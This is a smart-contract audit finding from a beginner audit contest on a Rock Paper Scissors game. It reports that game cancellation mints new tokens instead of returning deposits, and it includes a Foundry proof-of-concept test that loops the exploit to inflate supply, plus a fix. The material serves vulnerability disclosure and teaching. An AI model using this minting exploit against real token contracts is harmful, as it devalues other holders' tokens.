Rock Paper Scissors

First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: low
Valid

Infinite Token Minting affecting supply

Summary

The contract mints new WinningTokens instead of returning deposited tokens during game cancellations and completions, allowing infinite token inflation through repeated game creation and cancellation.

Vulnerability Details

When players create/join token-based games:

  1. They transfer tokens to the contract

  2. When games end, the contract mints new tokens instead of transferring the original ones back

  3. This allows unlimited token minting by repeating the process

function testInfiniteTokenMintExploit() public {
token = WinningToken(game.winningToken());
assertEq(token.balanceOf(playerA), 10);
assertEq(token.balanceOf(playerB), 10);
assertEq(token.balanceOf(address(game)), 0);
vm.startPrank(playerA);
token.approve(address(game), 1);
gameId = game.createGameWithToken(3, TIMEOUT);
vm.stopPrank();
vm.startPrank(playerB);
token.approve(address(game), 1);
game.joinGameWithToken(gameId);
vm.stopPrank();
vm.prank(playerA);
game.cancelGame(gameId);
assertEq(token.balanceOf(address(game)), 2); // +2 new tokenss
assertEq(token.balanceOf(playerA), 10);
assertEq(token.balanceOf(playerB), 10);
for (uint256 i = 0; i < 5; i++) {
vm.startPrank(playerA);
token.approve(address(game), 1);
gameId = game.createGameWithToken(3, TIMEOUT);
vm.stopPrank();
vm.startPrank(playerB);
token.approve(address(game), 1);
game.joinGameWithToken(gameId);
vm.stopPrank();
vm.prank(playerA);
game.cancelGame(gameId);
}
assertEq(token.balanceOf(address(game)), 12); // 12 new mnited tokens
assertEq(token.balanceOf(playerA), 10);
assertEq(token.balanceOf(playerB), 10);
}

Impact

A malicious actor can perform this process repeatedly to increase the token supply to an unlimited number thereby reducing the tokens value to other players.

Tools Used

Foundry test

Manual review

Recommendations

use the transfer method to transfer the tokens back to both players

// In _cancelGame():
if (game.bet == 0) {
token.transfer(game.playerA, 1);
if (game.playerB != address(0)) {
token.transfer(game.playerB, 1);
}
}
Updates

Appeal created

m3dython Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Minting Instead of Transferring Staked Tokens

Mints new tokens upon game completion or cancellation for token-based games

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.